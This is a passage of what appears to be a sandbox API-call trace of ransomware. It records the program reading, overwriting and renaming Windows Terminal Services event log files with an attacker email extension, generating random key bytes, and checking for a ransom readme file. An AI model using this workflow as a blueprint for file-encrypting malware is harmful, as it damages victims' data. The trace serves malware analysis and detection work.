returned="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0167.688] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0167.689] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.689] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f70d80) returned 1 [0167.689] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0167.689] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2fe3c88 [0167.689] wcscpy (in: _Dest=0x2fe3c88, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0167.689] wcscat (in: _Dest=0x2fe3c88, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0167.689] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0167.690] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3c88) returned 1 [0167.690] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f979f8) returned 1 [0167.690] RtlExitUserThread (Status=0x1) Thread: id = 1671 os_tid = 0xa04 [0167.691] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0167.691] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.691] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0167.691] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xb36fd40 | out: lpFileSize=0xb36fd40*=69824) returned 1 [0167.691] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.691] ReadFile (in: hFile=0x528, lpBuffer=0xb36fd14, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb36fd10, lpOverlapped=0x0 | out: lpBuffer=0xb36fd14*, lpNumberOfBytesRead=0xb36fd10*=0x4, lpOverlapped=0x0) returned 1 [0167.692] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.692] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96278 [0167.692] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f964a8 [0167.692] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96728 [0167.692] NtQuerySystemTime (in: CurrentTime=0xb36fcec | out: CurrentTime=0xb36fcec*=132121213250064392) returned 0x0 [0167.692] RtlRandom (in: Seed=0xb36fcf8 | out: Seed=0xb36fcf8) returned 0x150432d1 [0167.692] RtlRandom (in: Seed=0xb36fcf8 | out: Seed=0xb36fcf8) returned 0x4261bf7f [0167.692] RtlRandom (in: Seed=0xb36fcf8 | out: Seed=0xb36fcf8) returned 0x2fb71ff8 [0167.692] RtlRandom (in: Seed=0xb36fcf8 | out: Seed=0xb36fcf8) returned 0x6f6bad95 [0167.693] RtlRandom (in: Seed=0xb36fcf8 | out: Seed=0xb36fcf8) returned 0x7f995ae [0167.693] RtlRandom (in: Seed=0xb36fcf8 | out: Seed=0xb36fcf8) returned 0x1af44dce [0167.693] RtlRandom (in: Seed=0xb36fcf8 | out: Seed=0xb36fcf8) returned 0xa233bfd2 [0167.693] RtlRandom (in: Seed=0xb36fcf8 | out: Seed=0xb36fcf8) returned 0x6f49f07a [0167.693] RtlRandom (in: Seed=0xb36fcf8 | out: Seed=0xb36fcf8) returned 0x56200ef1 [0167.693] RtlRandom (in: Seed=0xb36fcf8 | out: Seed=0xb36fcf8) returned 0xbda88bd8 [0167.693] RtlRandom (in: Seed=0xb36fcf8 | out: Seed=0xb36fcf8) returned 0xb0346294 [0167.693] RtlRandom (in: Seed=0xb36fcf8 | out: Seed=0xb36fcf8) returned 0x3d96db31 [0167.693] RtlRandom (in: Seed=0xb36fcf8 | out: Seed=0xb36fcf8) returned 0x122eafaa [0167.693] RtlRandom (in: Seed=0xb36fcf8 | out: Seed=0xb36fcf8) returned 0x2eea75f1 [0167.693] RtlRandom (in: Seed=0xb36fcf8 | out: Seed=0xb36fcf8) returned 0x4c6049db [0167.693] RtlRandom (in: Seed=0xb36fcf8 | out: Seed=0xb36fcf8) returned 0xbc715a1d [0167.693] RtlRandom (in: Seed=0xb36fcf8 | out: Seed=0xb36fcf8) returned 0xeca27745 [0167.693] RtlRandom (in: Seed=0xb36fcf8 | out: Seed=0xb36fcf8) returned 0xc57cf7b5 [0167.693] RtlRandom (in: Seed=0xb36fcf8 | out: Seed=0xb36fcf8) returned 0x22963087 [0167.693] RtlRandom (in: Seed=0xb36fcf8 | out: Seed=0xb36fcf8) returned 0x9a1dd465 [0167.693] RtlRandom (in: Seed=0xb36fcf8 | out: Seed=0xb36fcf8) returned 0x673ae29b [0167.693] RtlRandom (in: Seed=0xb36fcf8 | out: Seed=0xb36fcf8) returned 0x9c9398ca [0167.693] RtlRandom (in: Seed=0xb36fcf8 | out: Seed=0xb36fcf8) returned 0xb487d29e [0167.693] RtlRandom (in: Seed=0xb36fcf8 | out: Seed=0xb36fcf8) returned 0x330de99d [0167.693] RtlRandom (in: Seed=0xb36fcf8 | out: Seed=0xb36fcf8) returned 0xac787276 [0167.693] RtlRandom (in: Seed=0xb36fcf8 | out: Seed=0xb36fcf8) returned 0x4d571ca6 [0167.693] RtlRandom (in: Seed=0xb36fcf8 | out: Seed=0xb36fcf8) returned 0x2931ab3b [0167.693] RtlRandom (in: Seed=0xb36fcf8 | out: Seed=0xb36fcf8) returned 0x61a1bcf2 [0167.693] RtlRandom (in: Seed=0xb36fcf8 | out: Seed=0xb36fcf8) returned 0x301795aa [0167.693] RtlRandom (in: Seed=0xb36fcf8 | out: Seed=0xb36fcf8) returned 0x86bd6933 [0167.693] RtlRandom (in: Seed=0xb36fcf8 | out: Seed=0xb36fcf8) returned 0x70c9ecf3 [0167.693] RtlRandom (in: Seed=0xb36fcf8 | out: Seed=0xb36fcf8) returned 0x74449748 [0167.702] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f963e0 [0167.704] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab128 [0167.704] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96250 [0167.704] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab128) returned 1 [0167.704] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96278) returned 1 [0167.704] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0167.704] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.704] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xb36fcc4, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xb36fcc4*=0x4096, lpOverlapped=0x0) returned 1 [0167.706] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.706] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0167.706] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faafc0 [0167.706] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96278 [0167.706] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96278) returned 1 [0167.706] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0167.707] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96278 [0167.707] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f962a0 [0167.707] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f962a0) returned 1 [0167.707] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faafc0) returned 1 [0167.707] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0167.707] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xb36fcc4, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xb36fcc4*=0x4096, lpOverlapped=0x0) returned 1 [0167.707] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0167.707] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.707] WriteFile (in: hFile=0x528, lpBuffer=0x2f96278*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb36fcfc, lpOverlapped=0x0 | out: lpBuffer=0x2f96278*, lpNumberOfBytesWritten=0xb36fcfc*=0x20, lpOverlapped=0x0) returned 1 [0167.707] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96278) returned 1 [0167.707] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0167.707] WriteFile (in: hFile=0x528, lpBuffer=0x2f96250*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xb36fd10, lpOverlapped=0x0 | out: lpBuffer=0x2f96250*, lpNumberOfBytesWritten=0xb36fd10*=0x8, lpOverlapped=0x0) returned 1 [0167.708] WriteFile (in: hFile=0x528, lpBuffer=0xb36fd28*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb36fd10, lpOverlapped=0x0 | out: lpBuffer=0xb36fd28*, lpNumberOfBytesWritten=0xb36fd10*=0x4, lpOverlapped=0x0) returned 1 [0167.708] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb36fd10, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xb36fd10*=0x4, lpOverlapped=0x0) returned 1 [0167.708] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xb36fd10, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xb36fd10*=0x6c, lpOverlapped=0x0) returned 1 [0167.708] WriteFile (in: hFile=0x528, lpBuffer=0x2f964a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb36fd10, lpOverlapped=0x0 | out: lpBuffer=0x2f964a8*, lpNumberOfBytesWritten=0xb36fd10*=0x20, lpOverlapped=0x0) returned 1 [0167.708] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb36fd10, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xb36fd10*=0x4, lpOverlapped=0x0) returned 1 [0167.708] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f964a8) returned 1 [0167.708] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f963e0) returned 1 [0167.708] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96250) returned 1 [0167.708] CloseHandle (hObject=0x528) returned 1 [0167.708] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x126) returned 0x2f70d80 [0167.708] wcscpy (in: _Dest=0x2f70d80, _Source="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0167.709] wcscat (in: _Dest=0x2f70d80, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0167.709] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0167.709] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.710] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f70d80) returned 1 [0167.710] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0167.710] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2fe3c88 [0167.710] wcscpy (in: _Dest=0x2fe3c88, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0167.710] wcscat (in: _Dest=0x2fe3c88, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0167.710] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0167.710] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3c88) returned 1 [0167.710] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc43a0) returned 1 [0167.710] RtlExitUserThread (Status=0x1) Thread: id = 1672 os_tid = 0x8c0 [0167.711] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0167.712] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.712] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0167.712] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xb3efdec | out: lpFileSize=0xb3efdec*=69824) returned 1 [0167.712] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.712] ReadFile (in: hFile=0x528, lpBuffer=0xb3efdc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb3efdbc, lpOverlapped=0x0 | out: lpBuffer=0xb3efdc0*, lpNumberOfBytesRead=0xb3efdbc*=0x4, lpOverlapped=0x0) returned 1 [0167.713] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.713] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96278 [0167.713] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f964a8 [0167.713] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96250 [0167.713] NtQuerySystemTime (in: CurrentTime=0xb3efd98 | out: CurrentTime=0xb3efd98*=132121213250220858) returned 0x0 [0167.713] RtlRandom (in: Seed=0xb3efda4 | out: Seed=0xb3efda4) returned 0xa2e247dd [0167.713] RtlRandom (in: Seed=0xb3efda4 | out: Seed=0xb3efda4) returned 0xb945c1d5 [0167.714] RtlRandom (in: Seed=0xb3efda4 | out: Seed=0xb3efda4) returned 0xf3e14a4 [0167.714] RtlRandom (in: Seed=0xb3efda4 | out: Seed=0xb3efda4) returned 0x2e7aae8d [0167.714] RtlRandom (in: Seed=0xb3efda4 | out: Seed=0xb3efda4) returned 0xd0c5d8e2 [0167.714] RtlRandom (in: Seed=0xb3efda4 | out: Seed=0xb3efda4) returned 0x8f088747 [0167.714] RtlRandom (in: Seed=0xb3efda4 | out: Seed=0xb3efda4) returned 0xaabb59df [0167.714] RtlRandom (in: Seed=0xb3efda4 | out: Seed=0xb3efda4) returned 0x26e7f938 [0167.714] RtlRandom (in: Seed=0xb3efda4 | out: Seed=0xb3efda4) returned 0x82c78cf8 [0167.714] RtlRandom (in: Seed=0xb3efda4 | out: Seed=0xb3efda4) returned 0xef91fa31 [0167.714] RtlRandom (in: Seed=0xb3efda4 | out: Seed=0xb3efda4) returned 0xda7c5ec7 [0167.714] RtlRandom (in: Seed=0xb3efda4 | out: Seed=0xb3efda4) returned 0xce41f31 [0167.714] RtlRandom (in: Seed=0xb3efda4 | out: Seed=0xb3efda4) returned 0x5d373ad9 [0167.714] RtlRandom (in: Seed=0xb3efda4 | out: Seed=0xb3efda4) returned 0xa86f1e40 [0167.714] RtlRandom (in: Seed=0xb3efda4 | out: Seed=0xb3efda4) returned 0x979e2b09 [0167.714] RtlRandom (in: Seed=0xb3efda4 | out: Seed=0xb3efda4) returned 0x940c1184 [0167.714] RtlRandom (in: Seed=0xb3efda4 | out: Seed=0xb3efda4) returned 0x681f72e2 [0167.714] RtlRandom (in: Seed=0xb3efda4 | out: Seed=0xb3efda4) returned 0xff46b011 [0167.714] RtlRandom (in: Seed=0xb3efda4 | out: Seed=0xb3efda4) returned 0x7b43761c [0167.714] RtlRandom (in: Seed=0xb3efda4 | out: Seed=0xb3efda4) returned 0xae95e80b [0167.714] RtlRandom (in: Seed=0xb3efda4 | out: Seed=0xb3efda4) returned 0x567be3ad [0167.714] RtlRandom (in: Seed=0xb3efda4 | out: Seed=0xb3efda4) returned 0xaa2acfb [0167.714] RtlRandom (in: Seed=0xb3efda4 | out: Seed=0xb3efda4) returned 0xcbaae98c [0167.714] RtlRandom (in: Seed=0xb3efda4 | out: Seed=0xb3efda4) returned 0x9d0ecb6d [0167.714] RtlRandom (in: Seed=0xb3efda4 | out: Seed=0xb3efda4) returned 0xc1f9db42 [0167.714] RtlRandom (in: Seed=0xb3efda4 | out: Seed=0xb3efda4) returned 0x969f83b8 [0167.714] RtlRandom (in: Seed=0xb3efda4 | out: Seed=0xb3efda4) returned 0x7e7565d4 [0167.714] RtlRandom (in: Seed=0xb3efda4 | out: Seed=0xb3efda4) returned 0x3a8eb5e0 [0167.714] RtlRandom (in: Seed=0xb3efda4 | out: Seed=0xb3efda4) returned 0xf52d6d5 [0167.714] RtlRandom (in: Seed=0xb3efda4 | out: Seed=0xb3efda4) returned 0x748ff0a0 [0167.714] RtlRandom (in: Seed=0xb3efda4 | out: Seed=0xb3efda4) returned 0x30e04778 [0167.714] RtlRandom (in: Seed=0xb3efda4 | out: Seed=0xb3efda4) returned 0x5d7a86bc [0167.723] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f963e0 [0167.725] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab128 [0167.725] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f962a0 [0167.725] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab128) returned 1 [0167.725] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96278) returned 1 [0167.725] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0167.725] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.725] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xb3efd70, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xb3efd70*=0x4096, lpOverlapped=0x0) returned 1 [0167.727] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.727] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0167.727] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faafc0 [0167.727] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96278 [0167.727] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96278) returned 1 [0167.727] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0167.727] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96278 [0167.727] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96318 [0167.727] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96318) returned 1 [0167.727] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faafc0) returned 1 [0167.727] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0167.727] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xb3efd70, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xb3efd70*=0x4096, lpOverlapped=0x0) returned 1 [0167.728] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0167.728] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.728] WriteFile (in: hFile=0x528, lpBuffer=0x2f96278*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb3efda8, lpOverlapped=0x0 | out: lpBuffer=0x2f96278*, lpNumberOfBytesWritten=0xb3efda8*=0x20, lpOverlapped=0x0) returned 1 [0167.728] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96278) returned 1 [0167.728] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0167.728] WriteFile (in: hFile=0x528, lpBuffer=0x2f962a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xb3efdbc, lpOverlapped=0x0 | out: lpBuffer=0x2f962a0*, lpNumberOfBytesWritten=0xb3efdbc*=0x8, lpOverlapped=0x0) returned 1 [0167.728] WriteFile (in: hFile=0x528, lpBuffer=0xb3efdd4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb3efdbc, lpOverlapped=0x0 | out: lpBuffer=0xb3efdd4*, lpNumberOfBytesWritten=0xb3efdbc*=0x4, lpOverlapped=0x0) returned 1 [0167.728] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb3efdbc, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xb3efdbc*=0x4, lpOverlapped=0x0) returned 1 [0167.728] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xb3efdbc, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xb3efdbc*=0x6c, lpOverlapped=0x0) returned 1 [0167.728] WriteFile (in: hFile=0x528, lpBuffer=0x2f964a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb3efdbc, lpOverlapped=0x0 | out: lpBuffer=0x2f964a8*, lpNumberOfBytesWritten=0xb3efdbc*=0x20, lpOverlapped=0x0) returned 1 [0167.728] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb3efdbc, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xb3efdbc*=0x4, lpOverlapped=0x0) returned 1 [0167.728] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f964a8) returned 1 [0167.729] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f963e0) returned 1 [0167.729] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f962a0) returned 1 [0167.729] CloseHandle (hObject=0x528) returned 1 [0167.729] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x122) returned 0x2f70d80 [0167.729] wcscpy (in: _Dest=0x2f70d80, _Source="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" [0167.729] wcscat (in: _Dest=0x2f70d80, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0167.729] MoveFileW 